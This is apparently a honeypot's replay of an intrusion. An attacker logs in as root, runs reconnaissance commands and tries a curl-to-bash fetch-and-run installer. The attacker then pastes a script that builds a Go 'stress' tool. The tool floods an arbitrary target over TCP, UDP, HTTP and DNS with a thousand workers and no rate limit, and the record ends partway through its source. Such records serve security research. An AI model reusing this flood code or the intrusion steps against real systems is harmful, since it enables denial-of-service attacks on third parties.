← All sessions
Ended · replayGot inTyped by a bot and a persontyped 2 lines, pasted 74 lines, 4 commands without a terminal, 38 corrections, 46 pauses of 2 s or more, 29 pasted within 2 s

Got in and set up a way to come back

on Johannesburg, South Africaorbit-lynx-19i from Warsaw, Polandseen 2 times this weekSSH-2.0-libssh2_1.11.1

root@za-jnb-gcp-1 · 🇿🇦 Johannesburg
connected from 🇵🇱 Warsaw, Poland · SSH-2.0-libssh2_1.11.1
root@za-jnb-gcp-1's password: 
Logged in as root
root@za-jnb-gcp-1:~# sh -c 'HISTFILE=;SA_OS_TYPE="Linux"
REAL_OS_NAME=`uname`
if [ "$REAL_OS_NAME" != "$SA_OS_TYPE" ] ;
then
	echo `uname` 
else
DISTRIB_ID=\"`cat /etc/*release`\"
	echo $REAL_OS_NAME;
	echo $DISTRIB_ID;
fi;
exit;'
Linux
"PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" NAME="Debian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/""
root@za-jnb-gcp-1:~# uname -n
za-jnb-gcp-1
root@za-jnb-gcp-1:~# echo $SHELL; exit
/bin/bash
root@za-jnb-gcp-1:~# cat .bash_history;
sleep .3;
apt update && apt upgrade -y
hostnamectl set-hostname za-jnb-gcp-1
nano /etc/hosts
nano /etc/network/interfaces
systemctl restart networking
ip a
apt install -y open-vm-tools sudo curl chrony
systemctl status open-vm-tools
adduser tobias
usermod -aG sudo,adm tobias
lsblk
fdisk /dev/sdb
fdisk /dev/sdc
mkfs.ext4 -L pgdata /dev/sdb1
mkfs.ext4 -L backups /dev/sdc1
blkid
mount /dev/sdc1 /mnt
cp -a /var/backups/. /mnt/
umount /mnt
nano /etc/fstab
mkdir -p /var/lib/postgresql
mount -a
df -h
apt install -y postgresql redis-server
pg_lsclusters
nano /etc/postgresql/15/main/postgresql.conf
nano /etc/postgresql/15/main/pg_hba.conf
systemctl restart postgresql
ss -tlnp
nano /etc/redis/redis.conf
systemctl restart redis-server
install -d -o postgres -g postgres -m 750 /var/backups/postgresql
nano /usr/local/bin/erp-backup.sh
chmod 755 /usr/local/bin/erp-backup.sh
nano /etc/cron.d/erp-backup
exit
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# apt update 
0% [Connecting to deb.debian.org (104.20.226.174)] [Connecting to security.debian.org (104.19.35.41)]
root@za-jnb-gcp-1:~# uptime 
 16:21:41 up 20 days, 15:20,  1 user,  load average: 0.02, 0.09, 0.12
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# lscpu
Architecture:            x86_64
  CPU op-mode(s):        32-bit, 64-bit
  Address sizes:         45 bits physical, 48 bits virtual
  Byte Order:            Little Endian
CPU(s):                  4
  On-line CPU(s) list:   0-3
Vendor ID:               GenuineIntel
  Model name:            Intel(R) Xeon(R) Silver 4214R CPU @ 
                         2.40GHz
    CPU family:          6
    Model:               85
    Thread(s) per core:  1
    Core(s) per socket:  1
    Socket(s):           4
    Stepping:            7
    BogoMIPS:            4788.75
    Flags:               fpu vme de pse tsc msr pae mce cx8 a
                         pic sep mtrr pge mca cmov pat pse36 
                         clflush mmx fxsr sse sse2 ss syscall
                          nx pdpe1gb rdtscp lm constant_tsc a
                         rch_perfmon nopl xtopology tsc_relia
                         ble nonstop_tsc cpuid tsc_known_freq
                          pni pclmulqdq ssse3 fma cx16 pcid s
                         se4_1 sse4_2 x2apic movbe popcnt tsc
                         _deadline_timer aes xsave avx f16c r
                         drand hypervisor lahf_lm abm 3dnowpr
                         efetch cpuid_fault invpcid_single ss
                         bd ibrs ibpb stibp ibrs_enhanced fsg
                         sbase tsc_adjust bmi1 avx2 smep bmi2
                          invpcid avx512f avx512dq rdseed adx
                          smap clflushopt clwb avx512cd avx51
                         2bw avx512vl xsaveopt xsavec xgetbv1
                          xsaves arat pku ospke avx512_vnni m
                         d_clear flush_l1d arch_capabilities
Virtualization features: 
  Hypervisor vendor:     VMware
  Virtualization type:   full
root@za-jnb-gcp-1:~# free -h
               total        used        free      shared  buff/cache   available
Mem:            15Gi       2.4Gi        11Gi       5.7Mi       2.7Gi        13Gi
Swap:          2.0Gi          0B       2.0Gi
root@za-jnb-gcp-1:~# df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            7.8G     0  7.8G   0% /dev
tmpfs           1.6G  760K  1.6G   1% /run
/dev/sda2        39G  4.1G   33G  12% /
tmpfs           7.8G     0  7.8G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
/dev/sda1       506M  5.9M  500M   2% /boot/efi
/dev/sdb1       194G   61G  124G  34% /var/lib/postgresql
/dev/sdc1       291G   58G  219G  21% /var/backups
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# journalctl --vacuum-time=14d
root@za-jnb-gcp-1:~# apt update
0% [Connecting to deb.debian.org (104.20.226.174)] [Connecting to security.debian.org (104.19.35.41)]
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# apt update
0% [Connecting to deb.debian.org (104.20.226.174)] [Connecting to security.debian.org (104.19.35.41)]                                                                                                     Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Err:1 http://deb.debian.org/debian bookworm InRelease
  Could not connect to deb.debian.org:80 (104.20.226.174), connection timed out
Err:2 http://security.debian.org/debian-security bookworm-security InRelease
  Could not connect to security.debian.org:80 (104.19.35.41), connection timed out
Err:3 http://deb.debian.org/debian bookworm-updates InRelease
  Unable to connect to deb.debian.org:http:
0% [Working]            Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
W: Failed to fetch http://deb.debian.org/debian/dists/bookworm/InRelease  Could not connect to deb.debian.org:80 (104.20.226.174), connection timed out
W: Failed to fetch http://security.debian.org/debian-security/dists/bookworm-security/InRelease  Could not connect to security.debian.org:80 (104.19.35.41), connection timed out
W: Failed to fetch http://deb.debian.org/debian/dists/bookworm-updates/InRelease  Unable to connect to deb.debian.org:http:
W: Some index files failed to download. They have been ignored, or old ones used instead.
root@za-jnb-gcp-1:~# apt upgrade -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# curl -4 -I --connect-timeout 10 https://deb.debian.org
root@za-jnb-gcp-1:~# curl -4 -I --connect-timeout 10 https://security.debian.org
root@za-jnb-gcp-1:~# bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)
-bash: syntax error near unexpected token `('
root@za-jnb-gcp-1:~# bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)
-bash: syntax error near unexpected token `('
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# curl -4 -I --connect-timeout 10 https://deb.debian.org
curl: (28) Failed to connect to deb.debian.org port 443 after 10003 ms: Timeout was reached
root@za-jnb-gcp-1:~# ip -br addr
lo               UNKNOWN        127.0.0.1/8 ::1/128 
ens192           UP             10.20.4.15/24 fe80::250:56ff:fe14:57f4/64 
root@za-jnb-gcp-1:~# ip route
default via 10.20.4.1 dev ens192 
10.20.4.0/24 dev ens192 proto kernel scope link src 10.20.4.15 
root@za-jnb-gcp-1:~# ping -c 4 -W 2 10.20.4.1
PING 10.20.4.1 (10.20.4.1) 56(84) bytes of data.

--- 10.20.4.1 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3006ms
root@za-jnb-gcp-1:~# cat /etc/resolv.conf
search norrtall.lan
nameserver 10.20.0.10
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# ip route
default via 10.20.4.1 dev ens192 
10.20.4.0/24 dev ens192 proto kernel scope link src 10.20.4.15 
root@za-jnb-gcp-1:~# ip neigh show
10.20.4.1 dev ens192 lladdr 4a:ed:3f:f7:17:11 REACHABLE 
root@za-jnb-gcp-1:~# ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                                                                                                                                                                                                                                                                         
udp   UNCONN 0      0          127.0.0.1:323       0.0.0.0:*    users:(("chronyd",pid=566,fd=5),("chronyd",pid=561,fd=5))                                                                                                                                                                                                                      
udp   UNCONN 0      0              [::1]:323          [::]:*    users:(("chronyd",pid=566,fd=5),("chronyd",pid=561,fd=5))                                                                                                                                                                                                                      
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=598,fd=3))                                                                                                                                                                                                                                                  
tcp   LISTEN 0      511          0.0.0.0:6379      0.0.0.0:*    users:(("redis-server",pid=612,fd=3))                                                                                                                                                                                                                                          
tcp   LISTEN 0      244          0.0.0.0:5432      0.0.0.0:*    users:(("postgres",pid=1377,fd=3),("postgres",pid=1218,fd=3),("postgres",pid=1215,fd=3),("postgres",pid=1214,fd=3),("postgres",pid=646,fd=3),("postgres",pid=645,fd=3),("postgres",pid=644,fd=3),("postgres",pid=642,fd=3),("postgres",pid=641,fd=3),("postgres",pid=640,fd=3))
tcp   LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=598,fd=4))                                                                                                                                                                                                                                                  
tcp   LISTEN 0      244             [::]:5432         [::]:*    users:(("postgres",pid=1377,fd=4),("postgres",pid=1218,fd=4),("postgres",pid=1215,fd=4),("postgres",pid=1214,fd=4),("postgres",pid=646,fd=4),("postgres",pid=645,fd=4),("postgres",pid=644,fd=4),("postgres",pid=642,fd=4),("postgres",pid=641,fd=4),("postgres",pid=640,fd=4))
root@za-jnb-gcp-1:~# hostname -I
10.20.4.15 
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# curl -4 -sS --max-time 8 https://api.ipify.org
[decoy address]
root@za-jnb-gcp-1:~# ip neigh get 10.20.4.1
root@za-jnb-gcp-1:~# nft list ruleset
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# ip neigh show dev ens192
10.20.4.1 lladdr 4a:ed:3f:f7:17:11 REACHABLE 
root@za-jnb-gcp-1:~# curl -4 -v --max-time 10 http://deb.debian.org
root@za-jnb-gcp-1:~# curl -4 -v --max-time 10 http://deb.debian.org
curl: (28) Connection timed out after 10002 milliseconds
root@za-jnb-gcp-1:~# curl -4 -v --max-time 10 https://deb.debian.org
curl: (28) Connection timed out after 10003 milliseconds
root@za-jnb-gcp-1:~# systemctl status networking --no-pager
● networking.service - Raise network interfaces
     Loaded: loaded (/lib/systemd/system/networking.service; static)
     Active: active (exited) since Fri 2026-11-13 01:01:18 CET; 2 weeks 6 days ago
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# ip route get 1.1.1.1
1.1.1.1 via 10.20.4.1 dev ens192 src 10.20.4.15 uid 0 
    cache 
root@za-jnb-gcp-1:~# ping -c 3 -W 2 10.20.4.1
PING 10.20.4.1 (10.20.4.1) 56(84) bytes of data.

--- 10.20.4.1 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2004ms
root@za-jnb-gcp-1:~# curl -4 -v --max-time 8 https://api.ipify.org
*   Trying 104.26.12.205:443...
* Connected to api.ipify.org (104.26.12.205) port 443 (#0)
* ALPN: offers h2,http/1.1
* ALPN: server accepted h2
* using HTTP/2
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: https]
* h2h3 [:authority: api.ipify.org]
* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x56c41de6feed)
> GET / HTTP/2
> Host: api.ipify.org
> user-agent: curl/7.88.1
> accept: */*
> 
< HTTP/2 200 
< date: Thu, 03 Dec 2026 15:37:29 GMT
< content-type: text/plain
< content-length: 12
< server: cloudflare
< vary: Origin
< cf-cache-status: DYNAMIC
< 
[decoy address]* Connection #0 to host api.ipify.org left intact
root@za-jnb-gcp-1:~# for p in 53 80 443; do
  timeout 5 bash -c "echo >/dev/tcp/1.1.1.1/$p" 2>/dev/null \
  && echo "Port $p OPEN" || echo "Port $p FAILED"
done
Port 53 OPEN
Port 80 OPEN
Port 443 OPEN
root@za-jnb-gcp-1:~# iptables -S
-bash: iptables: command not found
root@za-jnb-gcp-1:~# iptables -t nat -S
-bash: iptables: command not found
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# curl -4 -s https://ipinfo.io/json
{
  "ip": "[decoy address]",
  "city": "Johannesburg",
  "region": "Gauteng",
  "country": "ZA",
  "loc": "-26.2056,28.0337",
  "org": "AS396982 Google LLC",
  "timezone": "Africa/Johannesburg",
  "readme": "https://ipinfo.io/missingauth"
}
root@za-jnb-gcp-1:~# clear
root@za-jnb-gcp-1:~# curl -s --max-time 5 \
-H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/name
root@za-jnb-gcp-1:~# curl -s --max-time 5 \
-H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/zone
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# ip -d addr show ens192
root@za-jnb-gcp-1:~# systemctl list-units --type=service --state=running | grep -Ei 'network|cloud|vmware'
  open-vm-tools.service      loaded active running Service for virtual machines hosted on VMware
  vgauth.service             loaded active running Authentication service for virtual machines hosted on VMware
root@za-jnb-gcp-1:~# systemd-detect-virt
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# ulimit -n 1048576
root@za-jnb-gcp-1:~# ulimit -u 1048576
root@za-jnb-gcp-1:~# ulimit -s 8192
root@za-jnb-gcp-1:~# ulimit -c unlimited
root@za-jnb-gcp-1:~# ulimit -f unlimited
root@za-jnb-gcp-1:~# ulimit -v unlimited
root@za-jnb-gcp-1:~# cat >> /etc/security/limits.conf <<'EOF'
* soft nofile 1048576
* hard nofile 1048576
root soft nofile 1048576
root hard nofile 1048576
* soft nproc 1048576
* hard nproc 1048576
root soft nproc 1048576
root hard nproc 1048576
EOF
root@za-jnb-gcp-1:~# ulimit -a
real-time non-blocking time  (microseconds, -R) unlimited
core file size              (blocks, -c) unlimited
data seg size               (kbytes, -d) unlimited
scheduling priority                 (-e) 0
file size                   (blocks, -f) unlimited
pending signals                     (-i) 7171
max locked memory           (kbytes, -l) 243152
max memory size             (kbytes, -m) unlimited
open files                          (-n) 1048576
pipe size                (512 bytes, -p) 8
POSIX message queues         (bytes, -q) 819200
real-time priority                  (-r) 0
stack size                  (kbytes, -s) 8192
cpu time                   (seconds, -t) unlimited
max user processes                  (-u) 1048576
virtual memory              (kbytes, -v) unlimited
file locks                          (-x) unlimited
root@za-jnb-gcp-1:~# cat /proc/sys/fs/file-max
cat: /proc/sys/fs/file-max: No such file or directory
root@za-jnb-gcp-1:~# cat /proc/$(pidof systemd)/limits
cat: /proc/151582/limits: No such file or directory
root@za-jnb-gcp-1:~# ulimit -a
real-time non-blocking time  (microseconds, -R) unlimited
core file size              (blocks, -c) unlimited
data seg size               (kbytes, -d) unlimited
scheduling priority                 (-e) 0
file size                   (blocks, -f) unlimited
pending signals                     (-i) 7171
max locked memory           (kbytes, -l) 243152
max memory size             (kbytes, -m) unlimited
open files                          (-n) 1048576
pipe size                (512 bytes, -p) 8
POSIX message queues         (bytes, -q) 819200
real-time priority                  (-r) 0
stack size                  (kbytes, -s) 8192
cpu time                   (seconds, -t) unlimited
max user processes                  (-u) 1048576
virtual memory              (kbytes, -v) unlimited
file locks                          (-x) unlimited
root@za-jnb-gcp-1:~# cat /proc/sys/fs/file-max
cat: /proc/sys/fs/file-max: No such file or directory
root@za-jnb-gcp-1:~# cat /proc/$(pidof systemd)/limits
cat: /proc/151582/limits: No such file or directory
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# cat <<'EOF' > run_bench.sh
#!/usr/bin/env bash
set -e

ulimit -n 1048576 2>/dev/null || true

if ! command -v go >/dev/null 2>&1; then
echo "Go پیدا نشد. در حال نصب Go..."
ARCH=$(uname -m)
case "$ARCH" in
x86_64|amd64) GO_ARCH="amd64" ;;
aarch64|arm64) GO_ARCH="arm64" ;;
*)
echo "معماری پشتیبانی‌نشده: $ARCH"
exit 1
;;
esac
GO_VER="go1.27.4"
TAR_NAME="${GO_VER}.linux-${GO_ARCH}.tar.gz"
wget -qO- "https://go.dev/dl/${TAR_NAME}" | sudo tar -C /usr/local -xzf -
export PATH="$PATH:/usr/local/go/bin"
if ! grep -q '/usr/local/go/bin' "$HOME/.bashrc" 2>/dev/null; then
echo 'export PATH=$PATH:/usr/local/go/bin' >> "$HOME/.bashrc"
fi
fi

cat <<'GOEOF' > main.go
package main

import (
"bufio"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"math"
mrand "math/rand"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
)

const (
rst   = "\033[0m"
bold  = "\033[1m"
dim   = "\033[2m"
cyan  = "\033[36m"
green = "\033[32m"
yell  = "\033[33m"
red   = "\033[31m"
mag   = "\033[35m"
blue  = "\033[34m"
)

type GlobalStats struct {
OK      atomic.Uint64
Err     atomic.Uint64
NetErr  atomic.Uint64
Timeout atomic.Uint64
Bytes   atomic.Uint64
Latency atomic.Uint64
LatCnt  atomic.Uint64
}

type LocalStats struct {
ok, err, netErr, timeout, bytes, latency, latCnt uint64
}

func (l *LocalStats) flush(g *GlobalStats) {
if l.ok != 0 {
g.OK.Add(l.ok)
l.ok = 0
}
if l.err != 0 {
g.Err.Add(l.err)
l.err = 0
}
if l.netErr != 0 {
g.NetErr.Add(l.netErr)
l.netErr = 0
}
if l.timeout != 0 {
g.Timeout.Add(l.timeout)
l.timeout = 0
}
if l.bytes != 0 {
g.Bytes.Add(l.bytes)
l.bytes = 0
}
if l.latency != 0 {
g.Latency.Add(l.latency)
g.LatCnt.Add(l.latCnt)
l.latency = 0
l.latCnt = 0
}
}

func buildTarget(rawTarget, rawPort string) (httpURL, hostPortAddr, hostOnly string) {
t := strings.TrimSpace(rawTarget)
p := strings.TrimSpace(rawPort)

if strings.Contains(t, "://") {
u, err := url.Parse(t)
if err == nil && u.Host != "" {
h, existingPort, splitErr := net.SplitHostPort(u.Host)
if splitErr != nil {
h = u.Host
}
finalPort := existingPort
if p != "" {
finalPort = p
}
if finalPort == "" {
if u.Scheme == "http" {
finalPort = "80"
} else {
finalPort = "443"
}
}
scheme := u.Scheme
if scheme == "" {
scheme = "https"
}
cleanHost := net.JoinHostPort(h, finalPort)
if (scheme == "https" && finalPort == "443") || (scheme == "http" && finalPort == "80") {
httpURL = fmt.Sprintf("%s://%s%s", scheme, h, u.RequestURI())
} else {
httpURL = fmt.Sprintf("%s://%s%s", scheme, cleanHost, u.RequestURI())
}
return httpURL, cleanHost, h
}
}

t = strings.TrimSuffix(t, "/")
if h, existingPort, splitErr := net.SplitHostPort(t); splitErr == nil {
finalPort := existingPort
if p != "" {
finalPort = p
}
if finalPort == "" {
finalPort = "443"
}
scheme := "https"
if finalPort == "80" {
scheme = "http"
}
return fmt.Sprintf("%s://%s:%s", scheme, h, finalPort), net.JoinHostPort(h, finalPort), h
}

finalPort := p
if finalPort == "" {
finalPort = "443"
}
scheme := "https"
if finalPort == "80" {
scheme = "http"
}
return fmt.Sprintf("%s://%s:%s", scheme, t, finalPort), net.JoinHostPort(t, finalPort), t
}

func recordLatency(loc *LocalStats, start time.Time, count uint64) {
elapsed := time.Since(start).Microseconds()
if elapsed > 0 && count > 0 {
loc.latency += uint64(elapsed)
loc.latCnt += count
}
}

func promptLine(reader *bufio.Reader, label, def string) string {
if def != "" {
fmt.Printf("  %s%s%s %s[%s]%s: ", cyan, bold, label, dim, def, rst)
} else {
fmt.Printf("  %s%s%s: ", cyan, bold, label, rst)
}
line, _ := reader.ReadString('\n')
line = strings.TrimSpace(line)
if line == "" {
return def
}
return line
}

func promptInt(reader *bufio.Reader, label string, def int) int {
for {
val := promptLine(reader, label, strconv.Itoa(def))
n, err := strconv.Atoi(val)
if err == nil && n > 0 {
return n
}
fmt.Printf("  %sیک عدد مثبت معتبر وارد کن.%s\n", red, rst)
}
}

func printBanner() {
fmt.Printf("\n%s%s╔══════════════════════════════════════════════════════╗%s\n", mag, bold, rst)
fmt.Printf("%s%s║         GO NETWORK STRESS & BENCHMARK TOOL           ║%s\n", mag, bold, rst)
fmt.Printf("%s%s╚══════════════════════════════════════════════════════╝%s\n\n", mag, bold, rst)
}

func main() {
targetFlag := flag.String("target", "", "Target host or URL")
portFlag := flag.String("port", "", "Target port")
protoFlag := flag.String("proto", "tcp,udp,http,dns", "Protocols (tcp,udp,http,dns)")
workersFlag := flag.Int("w", 1000, "Workers")
connsFlag := flag.Int("c", 2, "Conns per worker")
burstFlag := flag.Int("burst", 128, "Ops per batch")
durFlag := flag.Int("d", 30, "Duration seconds")
timeoutMsFlag := flag.Int("timeout-ms", 500, "Timeout ms")
payloadSizeFlag := flag.Int("payload-size", 4096, "Payload size")
rpsFlag := flag.Int("rps", 0, "Global RPS limit (0=unlimited)")
methodFlag := flag.String("method", "GET", "HTTP method")
flag.Parse()

printBanner()

target := strings.TrimSpace(*targetFlag)
port := strings.TrimSpace(*portFlag)
proto := strings.TrimSpace(*protoFlag)
workers := *workersFlag
connsPerWorker := *connsFlag
burst := *burstFlag
durSec := *durFlag
timeoutMs := *timeoutMsFlag
payloadSize := *payloadSizeFlag
rpsLimit := *rpsFlag
httpMethod := strings.ToUpper(strings.TrimSpace(*methodFlag))

if target == "" {
reader := bufio.NewReader(os.Stdin)
for target == "" {
target = promptLine(reader, "تارگت (دامنه، IP یا URL)", "")
if target == "" {
fmt.Printf("  %sتارگت نباید خالی باشه!%s\n", red, rst)
}
}
port = promptLine(reader, "پورت", "443")
proto = promptLine(reader, "پروتکل‌ها (tcp,udp,http,dns)", proto)
workers = promptInt(reader, "تعداد Worker", workers)
durSec = promptInt(reader, "مدت زمان تست (ثانیه)", durSec)
fmt.Println()
}

if workers <= 0 || connsPerWorker <= 0 || durSec <= 0 {
fmt.Printf("%sمقادیر ورودی نامعتبر هستند.%s\n", red, rst)
return
}

runtime.GOMAXPROCS(runtime.NumCPU())

ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durSec)*time.Second)
defer cancel()

sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
select {
case <-sigCh:
fmt.Printf("\n%s%s[!] توقف با دستور کاربر... در حال جمع‌آوری آمار%s\n", yell, bold, rst)
cancel()
case <-ctx.Done():
}
}()

var g GlobalStats

batchSize := max(1, burst)
unitSize := max(256, payloadSize)

masterUnit := make([]byte, unitSize)
for i := range masterUnit {
masterUnit[i] = byte(0xC3 ^ byte(i) ^ byte(i>>7))
}
masterBig := make([]byte, unitSize*batchSize)
for b := 0; b < batchSize; b++ {
copy(masterBig[b*unitSize:], masterUnit)
}

timeout := time.Duration(timeoutMs) * time.Millisecond
httpURL, hpAddr, hostOnly := buildTarget(target, port)
_, portOnly, _ := net.SplitHostPort(hpAddr)
dnsAddr := net.JoinHostPort(hostOnly, "53")

fmt.Printf("  %s● تارگت:%s %s%s%s\n", green, rst, bold, hostOnly, rst)
fmt.Printf("  %s● پورت:%s %s%s%s %s(%s)%s\n", green, rst, bold, portOnly, rst, dim, hpAddr, rst)
fmt.Printf("  %s● URL تست HTTP:%s %s%s%s\n", green, rst, blue, httpURL, rst)
fmt.Printf("  %s● پروتکل‌ها:%s %s%s%s  |  %sWorkers:%s %s%d%s  |  %sمدت:%s %s%ds%s\n\n",
green, rst, yell, proto, rst,
green, rst, cyan, workers, rst,
green, rst, cyan, durSec, rst)

dialer := &net.Dialer{
Timeout:   timeout,
KeepAlive: 60 * time.Second,
Control: func(network, address string, c syscall.RawConn) error {
return c.Control(func(fd uintptr) {
_ = syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
})
},
}

tr := &http.Transport{
MaxIdleConns:          workers * connsPerWorker * 2,
MaxIdleConnsPerHost:   workers * connsPerWorker,
MaxConnsPerHost:       0,
IdleConnTimeout:       90 * time.Second,
TLSHandshakeTimeout:   timeout,
ResponseHeaderTimeout: timeout,
ExpectContinueTimeout: 50 * time.Millisecond,
DisableCompression:    true,
ForceAttemptHTTP2:     true,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
MinVersion:         tls.VersionTLS12,
ClientSessionCache: tls.NewLRUClientSessionCache(2048),
},
DialContext: dialer.DialContext,
}
client := &http.Client{
Transport: tr,
Timeout:   timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

protos := make([]string, 0, 4)
for _, p := range strings.Split(proto, ",") {
p = strings.ToLower(strings.TrimSpace(p))
if p != "" {
protos = append(protos, p)
}
}
if len(protos) == 0 {
protos = []string{"tcp"}
}

var rateCh <-chan struct{}
if rpsLimit > 0 {
interval := time.Second / time.Duration(rpsLimit)
if interval <= 0 {
interval = time.Nanosecond
}
bufSize := min(rpsLimit*2, 100000)
if bufSize < 1 {
bufSize = 1
}
ch := make(chan struct{}, bufSize)
go func() {
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
select {
case ch <- struct{}{}:
default:
}
}
}
}()
rateCh = ch
}

uaPool := []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
}

var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
rng := mrand.New(mrand.NewSource(time.Now().UnixNano() + int64(id)*int64(-7046029254386353131)))
var loc LocalStats

unitPayload := make([]byte, unitSize)
copy(unitPayload, masterUnit)
bigPayload := make([]byte, len(masterBig))
copy(bigPayload, masterBig)

tcpConns := make([]net.Conn, connsPerWorker)
udpConns := make([]net.Conn, connsPerWorker)
dnsConns := make([]net.Conn, connsPerWorker)
tcpIdx, udpIdx, dnsIdx := 0, 0, 0

defer func() {
for _, c := range tcpConns {
if c != nil {
_ = c.Close()
}
}
for _, c := range udpConns {
if c != nil {
_ = c.Close()
}
}
for _, c := range dnsConns {
if c != nil {
_ = c.Close()
}
}
loc.flush(&g)
}()

dnsBuf := make([]byte, 128)
var seq uint16
iters := 0
lastDeadline := time.Time{}

baseReq, _ := http.NewRequestWithContext(ctx, httpMethod, httpURL, nil)
if baseReq != nil {
baseReq.Header.Set("Accept", "*/*")
baseReq.Header.Set("Connection", "keep-alive")
}

for {
if ctx.Err() != nil {
return
}
if rateCh != nil {
select {
case <-rateCh:
case <-ctx.Done():
return
}
}

p := protos[rng.Intn(len(protos))]
now := time.Now()
refreshDeadline := now.Sub(lastDeadline) > 250*time.Millisecond

switch p {
case "tcp":
start := now
idx := tcpIdx % connsPerWorker
tcpIdx++
if tcpConns[idx] == nil {
c, err := dialer.DialContext(ctx, "tcp", hpAddr)
if err != nil {
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
break
}
if tc, ok := c.(*net.TCPConn); ok {
_ = tc.SetNoDelay(true)
_ = tc.SetKeepAlive(true)
_ = tc.SetKeepAlivePeriod(30 * time.Second)
}
tcpConns[idx] = c
_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := tcpConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
binary.LittleEndian.PutUint64(bigPayload[0:8], rng.Uint64())
n, err := conn.Write(bigPayload)
if err != nil {
_ = conn.Close()
tcpConns[idx] = nil
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
break
}
loc.ok += uint64(batchSize)
loc.bytes += uint64(n)
recordLatency(&loc, start, uint64(batchSize))

case "udp":
idx := udpIdx % connsPerWorker
udpIdx++
if udpConns[idx] == nil {
c, err := dialer.DialContext(ctx, "udp", hpAddr)
if err != nil {
loc.err++
loc.netErr++
break
}
udpConns[idx] = c
_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := udpConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
var sent uint64
start := now
for b := 0; b < batchSize; b++ {
binary.LittleEndian.PutUint32(unitPayload[0:4], rng.Uint32())
n, err := conn.Write(unitPayload)
if err != nil {
_ = conn.Close()
udpConns[idx] = nil
loc.err++
loc.netErr++
break
}
sent++
loc.bytes += uint64(n)
}
loc.ok += sent
recordLatency(&loc, start, sent)

case "dns":
idx := dnsIdx % connsPerWorker
dnsIdx++
if dnsConns[idx] == nil {
c, err := dialer.DialContext(ctx, "udp", dnsAddr)
if err != nil {
loc.err++
loc.netErr++
break
}
dnsConns[idx] = c
